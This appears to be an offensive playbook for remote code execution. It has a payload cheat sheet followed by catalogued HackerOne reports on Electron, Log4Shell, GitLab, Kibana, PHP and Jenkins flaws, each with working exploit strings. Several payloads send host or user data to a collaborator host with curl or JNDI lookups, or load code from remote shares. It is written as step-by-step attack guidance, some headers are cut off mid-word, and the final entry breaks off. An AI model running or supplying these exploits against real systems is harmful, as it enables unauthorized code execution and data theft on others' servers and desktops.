# Expression/template canary β arithmetic that only evaluates if executed
# Send each; a response containing 49 means server-side evaluation (pivot to SSTI/RCE)
${7*7} #{7*7} {{7*7}} <%= 7*7 %> *{7*7}
# OS-command probe β separators, blind timing, OOB
; id | id `id` $(id) %0aid ${IFS} `sleep 5` ;nslookup COLLAB
Identify which sink your input reaches, then use the matching technique.
<!-- Kramdown inline options: Rouge formatter -> const_get(Redis).new -> driver require() traversal -->
{::options auto_ids="false" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/HASH/payload.rb\}" /}
# baseline (ordering changes -> raw ES sort reached)
sort_query = [{"id":"asc"}]
# valid Painless -> HTTP 200 (compiler reached); unterminated source -> HTTP 500 (compile-fail oracle)
sort_query = [{"_script":{"type":"number","script":{"source":"1+1","lang":"painless"},"order":"asc"}}]
# per-document execution proven via ordering side channel
sort_query = [{"_script":{"type":"number","script":{"source":"doc[\"_seq_no\"].value","lang":"painless"},"order":"asc"}}]
# stage1 Ingress path: write POST body to a known temp dir
path: |-
/body/ {
client_body_in_file_only on;
client_body_temp_path /tmp/nginx/f292392;
#
# uploaded snippet (POSTed to /body/): Lua that shells out
# set_by_lua_block $v { local f=io.popen(ngx.req.get_headers()["pathinjection"]); return f:read("*all"); }
# stage2 Ingress path: include the snippet -> set_by_lua_block runs io.popen
path: |-
/rce/ {
include /tmp/nginx/f292392/*;
#
# multi-line env-file breakout via a predictable delimiter (@actions/core < 1.9.1)
somevalue
_GitHubActionsFileCommandDelimeter_
PATH=/attacker/bin
# fileless PHP config injection: /dev/fd/0 feeds php.ini from the POST body
curl -sk "https://TARGET/?PHPRC=/dev/fd/0" -X POST -d 'auto_prepend_file="/path/you/control"'
# basic canary β exfils host+user, confirms blind
${jndi:ldap://${hostName}.${sys:user.name}.COLLAB/a}
# WAF-bypass via nested lookups that rebuild jndi/ldap past signatures
${j${main:k5:-Nd}i${spring:k5:-:}ldap://${sys:user.name}-x.COLLAB/}
Debug mode leaks a live RCE endpoint. Fingerprint the debug banner, then drive the public N-day. Laravel APP_DEBUG=true exposes Ignition's solution executor, reachable unauthenticated on β€8.4.2.
# Laravel Ignition -> php://filter log-poison -> RCE (CVE-2021-3129)
curl -XPOST -H 'Content-Type: application/json' https://TARGET/_ignition/execute-solution \
-d '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{"variableName":"x","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}'
When a library maps untrusted JSON to method-backed objects (Sawyer/Octokit, OpenStruct-like), any downstream call to to_s/bytesize/length is attacker-controlled. Against the redis-rb driver the RESP frame is built as $#{i.bytesize}\r\n#{i} β declare a short bytesize but return a longer real string and your extra bytes spill into the command stream as new Redis commands. Poison a cache key that is later Marshal.load'ed for RCE.
// nested Sawyer object: small bytesize, long to_s carrying injected RESP commands
{ "default_branch": { "to_s": {
"to_s": "ggg\r\n*3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:jjjj\r\n$NNN\r\n<marshal_gadget>",
"bytesize": 3 } } }
Code-generation / session-recording tools embed your input into emitted source. Map exactly which lexical context it lands in β escaping quotes is useless if the sink is a /* */ comment. Inject */β¦/* to break out of the comment; use $IFS for spaces.
// attacker-supplied navigation URL breaks out of a /* */ comment in the generated test
https://example.com?q=*/require(`child_process`).exec(`touch$IFS/tmp/pwn`)/*
// generated: page.waitForNavigation(/*{ url: 'https://example.com?q=*/require(`child_process`).exec(`touch$IFS/tmp/pwn`)/*' }*/)
The largest cluster. Detection is architectural: unpack app.asar, then grep for window.open / new BrowserWindow wrappers, shell.openExternal, nodeIntegration, openUrl, and any localhost helper. Any in-app HTML/JS sink is a path to native code if context isolation is off β leak the BrowserWindow constructor via a benign window.open, then build your own window with nodeIntegration.
// window.open forwards attacker window features -> nodeIntegration + remote UNC preload -> RCE
window.open('data:text/html,x', '', ['nodeIntegration=true', 'preload=\\\\COLLAB\\data\\cmd.js'].join(','))
// BrowserWindow constructor leaked from a benign handle -> spawn a node window -> child_process
bw = window.open('about:blank');
nbw = new bw.constructor({show:false, webPreferences:{nodeIntegration:true}});
nbw.loadURL('about:blank');
nbw.webContents.executeJavaScript('this.require("child_process").exec("calc")');
Anywhere an app hands an attacker/server-controlled URL to an OS "open URL" API (shell.openExternal, QDesktopServices::openUrl, ShellExecute, xdg-open) with no scheme allowlist is an RCE / NTLM-leak sink. Enumerate installed URI handlers for command-execution parameters (WinSCP sftp: proxy commands, .desktop/.terminal/.command auto-run files).
# WinSCP 'Local' proxy mode parsed straight from an sftp: URL runs a command before connecting
sftp://youtube:com;watch=sn96aVA2;x-proxymethod=5;x-proxytelnetcommand=calc.exe@foo.bar/
# openssl.cnf that loads an attacker DLL as an engine (dropped in a writable default openssldir)
openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
evil = evil_section
[evil_section]
engine_id = evil
dynamic_path = C:\\usr\\local\\ssl\\calc.dll
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example β concrete payload, outcome, and matching practice lab. 86 in this class.
Real-world example
Electron desktop RCE via unauthenticated localhost websocket + nodeIntegration
β Critical
Specimen #873614 Β· playstation Β· 15000 Β· 777 votes Β· resolved
Program playstationSurface desktopChain Missing Origin check -> command injection into Electron nTag webhook
Root cause
A local websocket control server (localhost:1235) does not validate the Origin header, and the Electron window it drives has nodeIntegration=true; any web page can command the Electron app to navigate to attacker JS that spawns processes.
Method
- Find the local server (netstat -anb) and confirm no Origin check on ws://localhost:PORT
- Reverse the Electron app.asar (search commandHandler) for navigation commands like setUrl/setUrlDefaultBrowser
- From any web page connect to the websocket and send a JSON command swapping source/target to make the privileged Electron window load attacker HTML
- Serve HTML whose Node code runs child_process.exec
let s = new WebSocket('ws://localhost:1235/');
s.onopen = () => s.send(JSON.stringify({command:'setUrl',params:{url:'https://attacker/node.html'},source:'QAS',target:'AGL'}));
// node.html: <script>require('child_process').exec('calc')</script>
// alt: {command:'setUrlDefaultBrowser',params:{url:'file:///c:/windows/system32/calc.exe'}...}
Insight β Whenever a desktop app runs a localhost helper (websocket/HTTP) for browser<->app IPC, test it cross-origin: websockets are NOT bound by SOP/CORS, so a missing Origin check = any website can drive it. Pair with an Electron window that has nodeIntegration for full RCE.
Real-world example
Slack Electron RCE via HTML injection (area/map) + BrowserWindow leak
β Critical
Specimen #783877 Β· slack Β· awarded Β· 507 votes Β· resolved
Program slackSurface desktopChain HTML injection -> in-app _self redirect -> BrowserWindTag file-upload
Root cause
Slack Posts stored raw HTML JSON that could be edited directly; with script/iframe/meta banned and target forced to _blank, an area/map image-map still allowed a _self in-app redirect to attacker JS, which leaked the Electron BrowserWindow constructor to spawn a nodeIntegration window and run commands.
Method
- Create a Slack Post; fetch its file JSON via /api/files.info url_private
- Edit the Post JSON directly (or upload JSON then change filetype to docs) to inject HTML
- Use <img usemap> + <area target=_self href=attacker> to force an in-app redirect (bypasses banned tags and _blank rewriting)
- Attacker page overwrites desktop.delegate/window hooks, opens about:blank to leak BrowserWindow, constructs a nodeIntegration window and executeJavaScript child_process.exec
<img src="https://files.slack.com/.../x.png" width=10000 height=10000 usemap="#m">
<map name="m"><area shape=rect coords="10000,10000 0,0" href="https://attacker/t.html" target="_self"></map>
// t.html:
window.desktop.delegate={canOpenURLInWindow:()=>true};window.desktop.window={open:()=>1};
bw=window.open('about:blank');
nbw=new bw.constructor({show:false,webPreferences:{nodeIntegration:true}});
nbw.loadURL('about:blank');
nbw.webContents.executeJavaScript('this.require("child_process").exec("calc")');
Insight β In Electron apps, ANY in-app redirect/HTML/JS sink is a path to RCE if context isolation is off: leak the BrowserWindow constructor via window.open, then build your own window with nodeIntegration. HTML filters that only ban script/iframe still leak via area/map image maps for one-click navigation.
Real-world example
Kramdown inline options -> Ruby object instantiation -> require traversal RCE
β Critical
Specimen #1125425 Β· gitlab Β· 20000 Β· 426 votes Β· resolved
Program gitlabSurface webChain Wiki push -> Kramdown inline options -> Rouge formatteTag file-upload
Root cause
Rendering wiki files (.rmd) with Kramdown allowed inline {::options} directives; the Rouge formatter option reaches const_get, letting an attacker instantiate arbitrary no-namespace Ruby classes (e.g. Redis), whose driver option does a require with directory traversal to eval an uploaded .rb.
Method
- Upload a Ruby payload as a snippet attachment to get a known /uploads path on disk
- Push a .rmd wiki file via git with Kramdown inline options setting the Rouge formatter to Redis and driver to a traversal path to the uploaded .rb
- Load the wiki page; Redis._parse_driver require's the traversed file and Ruby executes it
{::options auto_ids="false" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/HASH/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
Insight β Markdown/templating options that accept class names funnel into const_get/const_get.new - hunt for any loaded class whose constructor loads a file (require/require_relative allow traversal). Get your payload on disk first (attachment upload gives a predictable path).
Real-world example
Redis RESP command injection via Sawyer::Resource to_s/bytesize -> Marshal RCE
β Critical
Specimen #1679624 Β· gitlab Β· USD 33510 Β· 385 votes Β· resolved
Program gitlabSurface apiChain attacker GitHub API response -> Sawyer method override -&Tag webhook
Root cause
Octokit/Sawyer turns a JSON hash into an object whose methods (including built-ins like to_s and bytesize) are attacker-controlled. When such an object is passed to the redis-rb driver, it builds the RESP frame as `$#{i.bytesize}\r\n#{i}` - a short bytesize with a longer real string lets attacker bytes spill into the command stream as new Redis commands.
Method
- Stand up a fake GitHub API server; trigger GitLab's GitHub import against it.
- Return a JSON node (e.g. repository.default_branch or object id) whose value is a nested Sawyer object overriding to_s and bytesize.
- Provide a small bytesize but a long to_s containing \r\n plus arbitrary Redis commands (SET/LPUSH/REPLICAOF).
- Use SET on a cache key holding a Marshal blob (or LPUSH a Sidekiq job) so a later Marshal.load deserialises a universal Ruby gadget -> RCE.
{
"default_branch": {
"to_s": {
"to_s": "ggg\r\n<INJECTED RESP: *3\r\n$3\r\nset\r\n$19\r\nsession:gitlab:jjjj\r\n$NNN\r\n<marshal_gadget>...>",
"bytesize": 3
}
}
}
Insight β When a library maps untrusted JSON to method-backed objects (Sawyer, OpenStruct-like), any downstream code that calls to_s/bytesize/length on that object is attacker-controlled. Against redis-rb the bytesize/real-length mismatch is a protocol (RESP) injection primitive; escalate through a cache key that is later Marshal.load'ed using a universal deserialization gadget.
Real-world example
Juniper J-Web unauth RCE via PHPRC + auto_prepend_file (CVE-2023-36845)
β Critical
Specimen #2182202 Β· mtn_group Β· none Β· 87 votes Β· resolved
Program mtn_groupSurface webChain PHPRC=/dev/fd/0 -> auto_prepend_file directive -> arbi
Root cause
J-Web (PHP) lets an unauthenticated request control the PHPRC environment variable; pointing PHPRC at POST body via /dev/fd/0 injects php.ini directives (auto_prepend_file) so an attacker-chosen file is executed/included before the target script, without writing to disk.
Method
- Send an unauthenticated request with ?PHPRC=/dev/fd/0
- POST a php.ini snippet as the body setting auto_prepend_file to a target/attacker path
- PHP reads config from stdin and prepends the specified file -> code/file execution
curl -sk "https://TARGET/?PHPRC=/dev/fd/0" -X POST -d 'auto_prepend_file="/etc/passwd"'
# escalate to RCE by prepending a file whose contents you control (e.g. uploaded/log/data:// PHP)
Insight β External-variable-modification bugs (PHPRC, LD_PRELOAD, PHP_VALUE) turn 'set an env var' into config injection. /dev/fd/0 feeds the POST body in as the ini file, avoiding any file write. A reusable N-day pattern for PHP appliances (Juniper EX/SRX J-Web).
Real-world example
PrimeFaces 5.3 expression-language injection (dynamiccontent)
β Critical
Specimen #248116 Β· deptofdefense Β· none Β· 84 votes Β· resolved
Program deptofdefenseSurface web
Root cause
PrimeFaces 5.3 DynamicContent streamer is vulnerable to EL injection: the pfdrid parameter is decrypted with the default hardcoded key 'primefaces' and evaluated as an EL expression, enabling Java code execution.
Method
- Fingerprint PrimeFaces 5.3 (javax.faces.resource paths)
- Build an EL payload and encrypt it with the default 'primefaces' key using primefaces-5.3.jar
- Append it as pfdrid with pfdrt=sc to dynamiccontent.properties.xhtml
- Send GET; confirm via DNS callback (outbound HTTP may be blocked)
GET /javax.faces.resource/dynamiccontent.properties.xhtml?pfdrt=sc&ln=primefaces&pfdrid=<ENCRYPTED_EL_PAYLOAD>
# EL payload does a JNDI/DNS lookup or File ops; encrypt with default key 'primefaces'
Insight β Old frameworks with default crypto keys turn 'signed' parameters into injection sinks - PrimeFaces <5.3.8 dynamiccontent (CVE-2017-1000486). Use DNS exfil to prove blind execution when egress is filtered.
Real-world example
Log4Shell (CVE-2021-44228) JNDI injection with nested-lookup WAF bypass
β Critical
Specimen #1430622 Β· acronis Β· awarded Β· 74 votes Β· resolved
Program acronisSurface webChain logged input -> Log4j JNDI lookup -> OOB DNS/LDAP call
Root cause
An outdated Log4j evaluates ${jndi:...} lookups in any logged string (search box, User-Agent, headers). A JNDI lookup to attacker LDAP/RMI triggers remote class loading / data exfil. Nested ${...:-...} lookups obfuscate the payload to bypass WAF signatures.
Method
- Spray canary JNDI payloads across inputs and headers (search params, User-Agent, X-Forwarded-For, etc.).
- Watch a collaborator/DNS server for interaction; ${sys:user.name}/${hostName} in the hostname exfiltrates data and confirms the vuln.
- If a WAF blocks ${jndi:ldap://, use nested lookups to reconstruct the tokens.
# basic canary:
${jndi:ldap://${hostName}.uri.COLLAB/a}
# WAF-bypass via nested lookups:
${j${main:\k5:-Nd}i${spring:k5:-:}ldap://${sys:user.name}-x.COLLAB/}
Insight β For any Java target, inject ${jndi:ldap://${sys:user.name}.${hostName}.COLLAB/a} into every reflected/logged field and header and watch OOB. Prepend ${sys:...}/${env:...} to exfil host info even blind. Defeat naive WAFs with nested ${lower:...}/${::-x} lookups that rebuild 'jndi'.
Real-world example
RCE via crafted Pentaho .prpt report (embedded BeanShell/JS/Java) + default creds
β Critical
Specimen #1677047 Β· mtn_group Β· none Β· 58 votes Β· resolved
Program mtn_groupSurface webChain default credentials -> report upload -> BeanShell RCETag file-upload
Root cause
Pentaho Business Analytics Server lets an authenticated user upload/run .prpt reports that may embed server-side scripting (BeanShell, JavaScript, Java), which executes on the server. Combined with default admin/password, an unauthenticated attacker reaches RCE.
Method
- Find Pentaho at /pentaho and try default creds admin/password
- Build a malicious .prpt in Pentaho Report Designer with a BeanShell/Java scriptlet running OS commands
- Upload and run the report to execute code on the server
// BeanShell scriptlet inside .prpt report definition
Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","id > /tmp/pwn"});
Insight β Reporting/BI engines (Pentaho, JasperReports, BIRT) treat report templates as code; if upload+run is allowed (or default creds exist), a crafted report = RCE. Always test default-cred admin panels for report/template upload.
Real-world example
Electron IPC injection via Function.prototype.apply override
β Critical
Specimen #188086 Β· brave Β· awarded Β· 53 votes Β· resolved
Program braveSurface desktop
Root cause
Brave's preload wrapper called EventEmitter.prototype.emit.apply with the internal ipcRenderer as the first argument; page JS could override Function.prototype.apply to capture that object and call ipcRenderer.send() with arbitrary IPC actions.
Method
- Override Function.prototype.apply on the page before the internal wrapper runs
- Capture the leaked ipc object passed as arguments[0]
- Call ipc.send('dispatch-action', <app action JSON>) to change settings / trigger UXSS
<script>
Function.prototype.apply=function(ipc){
ipc.send("dispatch-action",'{"actionType":"app-change-setting","key":"general.homepage","value":"http://attacker.example.com/"}');
};
</script>
<embed src=".swf"></embed>
Insight β In Electron/Chromium-embedded apps, look for privileged internal objects leaked into overridable JS prototype methods (apply/call/toString); overriding them from untrusted page context can reach the IPC bridge.
Real-world example
Electron RCE via window.open nodeIntegration + remote UNC preload
β Critical
Specimen #943725 Β· rocket_chat Β· none Β· 40 votes Β· resolved
Program rocket_chatSurface desktopChain custom-script/stored-JS -> window.open with nodeIntegratiTag file-upload
Root cause
An Electron app's overridden window.open forwards caller-controlled window features, letting attacker HTML request a child window with nodeIntegration=true and a preload script loaded from an attacker-controlled UNC/remote path -> arbitrary code in a node context.
Method
- Get attacker-controlled HTML/JS to run in the app (here: server admin 'Custom Script for Logged In Users')
- Call window.open to a data: URL passing nodeIntegration=true and preload set to a remote UNC path
- The Electron client loads the remote preload with node enabled and executes it
window.open('data:text/html,<h1>PWNED</h1>', '', ['nodeIntegration=true', 'preload=\\\\45.155.173.235\\data\\cmd.js'].join(','))
Insight β When auditing Electron apps, grep for custom window.open / new BrowserWindow wrappers that pass user-influenced features. If nodeIntegration or preload can be attacker-set (or preload path is not pinned to app dir), it's RCE. Remote preload via UNC (\\host\share\x.js) works on Windows without a local file.
Real-world example
Log4Shell JNDI header injection (CVE-2021-44228)
β Critical
Specimen #1459714 Β· acronis Β· awarded Β· 33 votes Β· resolved
Program acronisSurface webChain JNDI lookup -> LDAP -> remote class load -> RCE
Root cause
A vulnerable Log4j version logs attacker-controlled request headers, and the JNDI lookup performs an outbound LDAP fetch, enabling RCE.
Method
- Send the JNDI payload in several commonly-logged headers
- Watch Collaborator/interactsh for the callback (hostName prefix confirms interpolation)
- Escalate to RCE via the JNDI/LDAP chain on vulnerable JDK/Log4j
curl --http1.1 -s -o /dev/null \
-H 'User-Agent: ${jndi:ldap://${hostName}.COLLAB/a}' \
-H 'X-Forwarded-For: ${jndi:ldap://${hostName}.COLLAB/a}' \
-H 'Referer: ${jndi:ldap://${hostName}.COLLAB/a}' \
https://TARGET
Insight β Spray ${jndi:ldap://${hostName}.COLLAB/a} across every reflected/logged input (UA, XFF, Referer, form fields, usernames). The ${hostName} nested lookup tells you which internal host resolved the payload.
Real-world example
XSS to RCE in Electron desktop client via shell.openExternal + RegExp.test override
β Critical
Specimen #899964 Β· rocket_chat Β· none Β· 31 votes Β· resolved
Program rocket_chatSurface desktopChain stored/reflected XSS -> shell.openExternal(file://) ->Tag file-upload
Root cause
An Electron renderer exposes electron.shell.openExternal through an onclick handler that gates URLs with a RegExp.test check; because the check runs in the same JS context an attacker can override RegExp.prototype.test to whitelist a file:// URL and open/execute local binaries.
Method
- Obtain any XSS in the Electron webview (e.g. stored message XSS)
- Create an anchor with a file:// href to a local executable
- Overwrite RegExp.prototype.test so the URL-validation call returns true
- Dispatch a click event to invoke shell.openExternal on the file:// URL
(function() {
const payload = `file:///System/Applications/Calculator.app`;
var counter = 0;
var target = document.createElement(`a`);
target.setAttribute(`href`, payload);
document.body.appendChild(target);
var old_test = RegExp.prototype.test;
RegExp.prototype.test = function (s) {
if (s === payload) { return (++counter > 3); }
return old_test.call(this, s);
};
target.dispatchEvent(new Event(`click`));
})();
Insight β In Electron apps, any XSS escalates to RCE if nodeIntegration or shell.openExternal is reachable. Client-side URL allowlists implemented with RegExp.test in the same context are bypassable by monkey-patching prototype methods.
Real-world example
openssl_verify()==-1 truthy signature bypass -> unauth RCE
β Critical
Specimen #236552 Β· automattic Β· awarded Β· 31 votes Β· resolved
Program automatticSurface webChain Signature bypass -> unauthenticated Vaultpress API ->
Root cause
Vaultpress validates its API signature with `if (openssl_verify(...))`, but openssl_verify returns -1 on error (e.g. a signature made against a different key type), and PHP treats -1 as truthy, so the signature check passes and the unauthenticated API method reaches RCE.
Method
- Reach the vaultpress API path (?vaultpress=true) with firewall disabled/bypassed
- Send a request whose sslsig is a valid signature under a mismatched key type so openssl_verify returns -1
- The truthy -1 passes validate_api_signature -> proceed to the RCE method
// vulnerable check:
if ( openssl_verify( serialize(array('uri'=>$uri,'post'=>$post)), base64_decode($sslsig), $public_key ) ) { return true; }
// -1 (error) is truthy -> bypass. Craft sslsig with a different key type:
php genkey1.php; php genkey2.php; php PoC.php
Insight β Functions returning -1/0/1 (openssl_verify, strcmp-style, preg_match) must be compared with ===; a bare if() treats -1 as success. Grep code audits for `if (openssl_verify(` and similar tri-state calls.
Real-world example
Log4Shell (CVE-2021-44228) JNDI injection via reflected HTTP inputs
β Critical
Specimen #1425565 Β· mtn_group Β· none Β· 30 votes Β· resolved
Program mtn_groupSurface web
Root cause
Apache Log4j2 performs JNDI lookups on logged strings, so any user-controlled value (query param, User-Agent, headers) that reaches a log statement triggers an outbound LDAP fetch and remote class loading.
Method
- Inject a jndi lookup payload into every candidate sink (URL params, User-Agent, X-* headers)
- Use an OOB/interaction host and embed ${hostName}/${env} to exfil data and confirm blind execution
- Watch the collaborator/interact.sh log for the DNS/LDAP callback
GET /?x=${jndi:ldap://${hostName}.COLLAB.interact.sh/a} HTTP/1.1
Host: TARGET:8443
User-Agent: ${jndi:ldap://${hostName}.COLLAB.interact.sh/a}
Insight β Spray the JNDI payload across many input surfaces and nest ${hostName}/${sys:...} to turn a blind hit into data exfiltration. Test non-standard ports (8080/8443) where Java app servers commonly listen.
Real-world example
Ivanti EPM CSA unauth code injection via Cookie (CVE-2021-44529)
β Critical
Specimen #1624172 Β· deptofdefense Β· 1000 Β· 28 votes Β· resolved
Program deptofdefenseSurface web
Root cause
Ivanti EPM Cloud Services Appliance /client/index.php evaluates a base64-encoded payload passed in a Cookie value, allowing an unauthenticated attacker to run PHP/system commands as the 'nobody' user.
Method
- Fingerprint a vulnerable CSA version
- Base64-encode the PHP/command to run
- Send GET /client/index.php with the payload in a specific Cookie field (e.g. c=)
GET /client/index.php HTTP/1.1
Host: TARGET
Cookie: ab=ab; c=cGhwaW5mbygpOw==; d=; e=;
# c = base64('phpinfo();')
Insight β Appliance PHP endpoints that eval a cookie/parameter after base64-decoding are a recurring unauth-RCE pattern; test decoded-then-evaluated inputs on edge devices with simple markers like phpinfo().
Real-world example
Server-side headless Chromium (--no-sandbox) reporting -> browser-exploit RCE
β Critical
Specimen #1168765 Β· elastic Β· USD 10000 Β· 25 votes Β· resolved
Program elasticSurface webChain HTML-injection/XSS/open-redirect -> attacker JS in headle
Root cause
Kibana Reporting renders pages with a bundled headless Chromium launched --no-sandbox; if an attacker can steer it at attacker-controlled JS (HTML injection, XSS, or open redirect), a public Chrome RCE exploit executes OS commands on the server.
Method
- Identify a server-side rendering/reporting feature backed by an outdated headless Chromium
- Find any primitive to point rendering at your JS (HTML injection / XSS / open redirect)
- Serve a Chrome renderer-RCE exploit page; command runs on the reporting host
./headless_shell --no-sandbox http://ATTACKER:8009/exploit.html
# exploit.html adapts a public Chrome RCE (metasploit chrome exploit) to run e.g. `uname -a > /tmp/pwn`
Insight β Any 'export to PDF/PNG', link-preview, or SSR feature using a pinned/old headless browser is an RCE sink. Chain it with the weakest way to control the rendered content (open redirect counts even under CSP). Fingerprint the Chromium version shipped with the product.
Real-world example
Prototype pollution to RCE in Kibana telemetry collector
β Critical
Specimen #852613 Β· elastic Β· 10000 Β· 22 votes Β· resolved
Program elasticSurface webChain prototype pollution -> gadget (sourceURL in vm) -> RCE
Root cause
A server-side lodash _.set() writes attacker-controlled keys from a stored 'saved object' into an object; supplying constructor.prototype.sourceURL pollutes Object.prototype, and the polluted sourceURL is later concatenated into vm/eval context, executing injected JS in the Node process.
Method
- Extend the .kibana mapping so the telemetry doc can carry constructor.prototype.sourceURL
- Index an upgrade-assistant-telemetry saved object whose value contains constructor.prototype.sourceURL with a JS payload
- Trigger a telemetry collection run (or restart Kibana) so _.set processes the doc
- The polluted sourceURL is evaluated -> child_process command runs, exfiltrating via curl
PUT /.kibana_1/_doc/upgrade-assistant-telemetry:upgrade-assistant-telemetry
{
"upgrade-assistant-telemetry":{
"ui_open.overview":1,
"constructor.prototype.sourceURL":"\u2028\u2029\nglobal.process.mainModule.require('child_process').exec('whoami | curl https://COLLAB/ -d@-')"
},
"type":"upgrade-assistant-telemetry"
}
Insight β Grep server-side JS for _.set/_.merge/deep-assign fed by user data; the constructor.prototype.<x> key is the universal pollution vector, and any later use of the polluted value in a template/vm/sourceURL turns pollution into RCE.
Real-world example
Brave/Muon navigation to privileged chrome:// page via window.open noopener
β Critical
Specimen #415967 Β· brave Β· 650 Β· 21 votes Β· resolved
Program braveSurface desktopChain SOP bypass -> privileged internal page -> potential RC
Root cause
In the Muon (Electron-based) Brave browser, opening a popup with the 'noopener' attribute bypassed navigation guards, letting a web page navigate to privileged internal pages such as chrome://brave, a SOP violation that can lead to RCE.
Method
- Host a page that calls window.open to a privileged URL with rel/features including 'noopener'
- Trigger with a single user click
- The popup lands on chrome://brave (or another privileged page) normally blocked from web content
window.open('chrome://brave', '_blank', 'noopener');
Insight β Navigation/SOP guards in custom Chromium/Electron browsers are often keyed on the opener relationship; 'noopener' (or noreferrer) can drop the check and reach privileged schemes - always test internal schemes with and without noopener.
Real-world example
PHP arbitrary-function-call to eval via array_diff_uassoc -> assert gadget
β Critical
Specimen #518348 Β· valve Β· awarded Β· 18 votes Β· resolved
Program valveSurface web
Root cause
An endpoint let the attacker choose a PHP function name to call but constrained the argument types to (array, array, string); array_diff_uassoc invokes its callback with (string, string), which allowed calling assert(<string>) which at the time ran eval() on the string, giving arbitrary code execution.
Method
- Identify a parameter that selects a PHP callable with fixed argument types
- Pass array_diff_uassoc as the callable to re-invoke a target callback with (string,string) instead of (array,array,string)
- Route to assert() with a PHP code string; assert() evaluated it as code
# conceptual: caller = array_diff_uassoc, its comparator callback = 'assert', arg = attacker PHP
array_diff_uassoc($a, $b, 'assert'); // assert('<php code>') -> eval
Insight β When you control only a function NAME with awkward argument types, PHP's callback-taking builtins (array_diff_uassoc, usort, array_map, call_user_func) are pivots to reshape the call into (string) and reach assert/eval. A classic type-signature-laundering gadget.
Real-world example
PHP-FPM underflow RCE (CVE-2019-11043) behind nginx
β Critical
Specimen #720306 Β· nextcloud Β· USD 100 Β· 16 votes Β· resolved
Program nextcloudSurface webTag file-upload
Root cause
A specific nginx fastcgi_split_path_info regex + fastcgi_param PATH_INFO config lets an attacker underflow PHP-FPM's path handling, corrupting FPM memory to inject php-fpm .ini directives and execute arbitrary PHP. Triggered by the recommended nextcloud:fpm nginx config.
Method
- Confirm target is nginx + PHP-FPM with the vulnerable split_path_info regex
- Run phuip-fpizdam against a .php endpoint to find the QSL/pisos attack params
- Use returned params to set php.ini directives (e.g. auto_prepend_file) and execute commands via ?a=/bin/sh+-c+'...'
# neex/phuip-fpizdam
./phuip-fpizdam http://TARGET/ocs/v2.php
# on success:
curl 'http://TARGET/index.php?a=/bin/sh+-c+%27id%27&'
Insight β When you see nginx + php-fpm, test CVE-2019-11043 with phuip-fpizdam against any real .php path; vulnerability lives in the nginx location/regex + FPM version, so a vendor's recommended docker/nginx config can ship the bug to every deployment.
Real-world example
Unauthenticated RCE via exposed Jenkins Groovy script console
β Critical
Specimen #1125329 Β· deptofdefense Β· none Β· 15 votes Β· resolved
Program deptofdefenseSurface web
Root cause
A Jenkins instance exposed its Groovy script console (/_script) without authentication, so anyone can run arbitrary Groovy which executes OS commands.
Method
- Discover a Jenkins asset (SSL cert / recon)
- Browse to /_script (or /script)
- Run Groovy that shells out
println "whoami".execute().text
println "ls".execute().text
Insight β On any Jenkins, always test /script and /_script and the CLI for unauthenticated access; the Groovy console is instant RCE. "cmd".execute().text is the canonical one-liner.
Real-world example
Prototype pollution to RCE in Kibana SIEM ML-signal creation
β Critical
Specimen #861744 Β· elastic Β· $5000 Β· 14 votes Β· resolved
Program elasticSurface webChain index write access -> prototype pollution -> Node.js R
Root cause
User-controlled document fields flow into an object merge without sanitizing __proto__, polluting Object.prototype. Setting sourceURL on the prototype and smuggling a JS payload triggers code execution in the Node.js server context when the polluted property is later evaluated.
Method
- Import a machine_learning SIEM detection rule that reads ML anomaly indices
- Write a crafted anomaly doc into the .ml-anomalies-* index whose influencer field name is foo.__proto__.sourceURL with a JS payload value
- Enable (or toggle) the rule so it processes the anomaly and pollutes the prototype
- Wait ~15s for rule evaluation; the polluted sourceURL leads to Node.js code execution
PUT /.ml-anomalies-custom-linux_anomalous_network_activity_ecs/_doc/my-anomaly?refresh
{
"timestamp": 1588093630045,
"result_type": "record",
"record_score": 1,
"job_id": "linux_anomalous_network_activity_ecs",
"by_field_name": "field_name",
"by_field_value": "field_value",
"influencers": [
{"influencer_field_name": "foo.__proto__.sourceURL", "influencer_field_values": "\u2028\u2029\n;global.process.mainModule.require('child_process').exec('open http://COLLAB')"}
]
}
Insight β On Node.js/JS backends, any place that builds nested objects from user keys (dotted field names, deep merge) is a prototype-pollution sink; __proto__.sourceURL with U+2028/U+2029 line separators is a known gadget to reach code execution. Look for merge/set-by-path helpers fed with attacker-controlled property names.
Real-world example
Electron shell.openExternal(file://) -> native app execution
β Critical
Specimen #301458 Β· automattic Β· awarded Β· 10 votes Β· resolved
Program automatticSurface desktopChain stored page content -> shell.openExternal(file://) ->
Root cause
The desktop app passes any URL from page content to Electron's shell.openExternal without scheme validation; a file:// URL launches the target in its native handler, so pointing at a .app/.exe (incl. a remote NFS/SMB share) executes code.
Method
- Embed an iframe/page you control in a WordPress post rendered by the desktop app
- In it, window.open a file:// URL to an executable on a remote NFS/SMB mount
- Victim viewing/editing the page triggers openExternal and the payload runs as the current user
<script>
window.open('file:///net/192.241.239.91/var/nfs/general/hack2.app')
</script>
// hack2.app (AppleScript):
// do shell script "open -a Calculator"
Insight β In Electron/webview apps, audit every shell.openExternal / openItem sink: if attacker-influenced content reaches it without an http(s)-only allowlist, file:// (and SMB/NFS UNC paths) yields RCE. Remote shares defeat 'file must be local' assumptions.
Real-world example
Overwriting a JS builtin (Function.prototype.call) to forge privileged IPC in an Electron/Brave browser
β Critical
Specimen #187542 Β· brave Β· 300 Β· 9 votes Β· resolved
Program braveSurface desktopChain page script -> builtin override -> arbitrary IPC ->Tag supply-chain
Root cause
Brave's privileged internal code shares the same JS realm as untrusted page script and routes IPC through Function.prototype.call. A page redefines that builtin, so when internal code (e.g. alert()) calls it, the attacker rewrites the IPC channel/message to any privileged action.
Method
- Identify a privileged JS bridge that runs in the same context as page script and uses a hookable builtin (Function.prototype.call/apply)
